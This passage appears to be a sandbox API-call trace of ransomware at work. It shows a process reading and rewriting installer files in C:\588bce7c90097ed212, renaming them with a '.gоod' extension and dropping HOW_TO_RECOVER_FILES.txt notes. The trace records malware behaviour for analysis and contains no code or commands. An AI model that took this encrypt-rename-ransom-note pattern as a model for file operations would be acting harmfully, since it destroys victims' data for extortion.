ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0110.214] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.214] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0110.214] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0110.214] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0110.214] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0110.214] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0110.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0110.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0110.214] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0110.215] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\2052", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\2052", lpFilePart=0x0) returned 0x1a [0110.215] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0110.215] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.215] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0110.215] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0110.215] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0110.215] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0110.216] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0110.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0110.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0110.216] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\2052\\eula.rtf", lpFilePart=0x0) returned 0x23 [0110.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0110.216] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x33c7708 | out: lpFileInformation=0x33c7708*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3)) returned 1 [0110.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0110.216] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\2052\\eula.rtf", lpFilePart=0x0) returned 0x23 [0110.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0110.216] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0110.216] GetFileType (hFile=0x7b4) returned 0x1 [0110.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0110.216] GetFileType (hFile=0x7b4) returned 0x1 [0110.216] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0110.217] ReadFile (in: hFile=0x7b4, lpBuffer=0x33c7a80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x33c7a80*, lpNumberOfBytesRead=0x1f6edcc8*=0x6c3, lpOverlapped=0x0) returned 1 [0110.398] CloseHandle (hObject=0x7b4) returned 1 [0110.398] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\2052\\eula.rtf", lpFilePart=0x0) returned 0x23 [0110.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0110.398] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0110.398] GetFileType (hFile=0x7b4) returned 0x1 [0110.398] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0110.398] GetFileType (hFile=0x7b4) returned 0x1 [0110.398] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x16c3 [0110.398] WriteFile (in: hFile=0x7b4, lpBuffer=0x364db58*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x364db58*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0110.398] CloseHandle (hObject=0x7b4) returned 1 [0110.398] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\2052\\eula.rtf", lpFilePart=0x0) returned 0x23 [0110.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0110.398] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0110.399] GetFileType (hFile=0x7b4) returned 0x1 [0110.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0110.399] GetFileType (hFile=0x7b4) returned 0x1 [0110.399] ReadFile (in: hFile=0x7b4, lpBuffer=0x364fdc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x364fdc8*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0110.526] CloseHandle (hObject=0x7b4) returned 1 [0110.526] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\2052\\eula.rtf", lpFilePart=0x0) returned 0x23 [0110.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0110.526] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0110.526] GetFileType (hFile=0x7b4) returned 0x1 [0110.526] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0110.526] GetFileType (hFile=0x7b4) returned 0x1 [0110.526] WriteFile (in: hFile=0x7b4, lpBuffer=0x364eb70*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x364eb70*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0110.526] CloseHandle (hObject=0x7b4) returned 1 [0110.526] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\2052\\eula.rtf", lpFilePart=0x0) returned 0x23 [0110.527] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\2052\\eula.rtf.gоod", lpFilePart=0x0) returned 0x28 [0110.527] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0110.527] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x3e182767, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x16d3)) returned 1 [0110.527] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0110.527] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.gоod" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.gоod")) returned 1 [0110.530] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0110.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0110.530] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x36cd338 | out: lpFileInformation=0x36cd338*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c)) returned 1 [0110.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0110.530] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0110.531] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0110.531] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0110.531] GetFileType (hFile=0x7b4) returned 0x1 [0110.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0110.531] GetFileType (hFile=0x7b4) returned 0x1 [0110.531] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0110.531] ReadFile (in: hFile=0x7b4, lpBuffer=0x36cd700, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x36cd700*, lpNumberOfBytesRead=0x1f6edcc8*=0x1000, lpOverlapped=0x0) returned 1 [0110.899] CloseHandle (hObject=0x7b4) returned 1 [0110.899] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0110.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0110.899] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0110.899] GetFileType (hFile=0x7b4) returned 0x1 [0110.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0110.899] GetFileType (hFile=0x7b4) returned 0x1 [0110.899] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0xed0c [0110.899] WriteFile (in: hFile=0x7b4, lpBuffer=0x339ee28*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x339ee28*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0110.900] CloseHandle (hObject=0x7b4) returned 1 [0110.900] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0110.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0110.901] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0110.901] GetFileType (hFile=0x7b4) returned 0x1 [0110.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0110.901] GetFileType (hFile=0x7b4) returned 0x1 [0110.901] ReadFile (in: hFile=0x7b4, lpBuffer=0x33a10c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x33a10c0*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0110.930] CloseHandle (hObject=0x7b4) returned 1 [0110.930] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0110.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0110.930] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0110.930] GetFileType (hFile=0x7b4) returned 0x1 [0110.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0110.930] GetFileType (hFile=0x7b4) returned 0x1 [0110.930] WriteFile (in: hFile=0x7b4, lpBuffer=0x339fe40*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x339fe40*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0110.930] CloseHandle (hObject=0x7b4) returned 1 [0110.930] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0110.931] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.gоod", lpFilePart=0x0) returned 0x31 [0110.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0110.931] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x3e5622b7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xed1c)) returned 1 [0110.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0110.931] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.gоod" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.gоod")) returned 1 [0110.932] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ed940, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\2052\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x33 [0110.932] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ede60) returned 1 [0110.932] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\588bce7c90097ed212\\2052\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7b4 [0110.932] GetFileType (hFile=0x7b4) returned 0x1 [0110.932] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddd0) returned 1 [0110.932] GetFileType (hFile=0x7b4) returned 0x1 [0110.933] WriteFile (in: hFile=0x7b4, lpBuffer=0x341f7c8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6edf28, lpOverlapped=0x0 | out: lpBuffer=0x341f7c8*, lpNumberOfBytesWritten=0x1f6edf28*=0x5d0, lpOverlapped=0x0) returned 1 [0110.934] CloseHandle (hObject=0x7b4) returned 1 [0110.934] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0110.934] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\2070", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\2070", lpFilePart=0x0) returned 0x1a [0110.934] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0110.935] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.935] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0110.935] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, 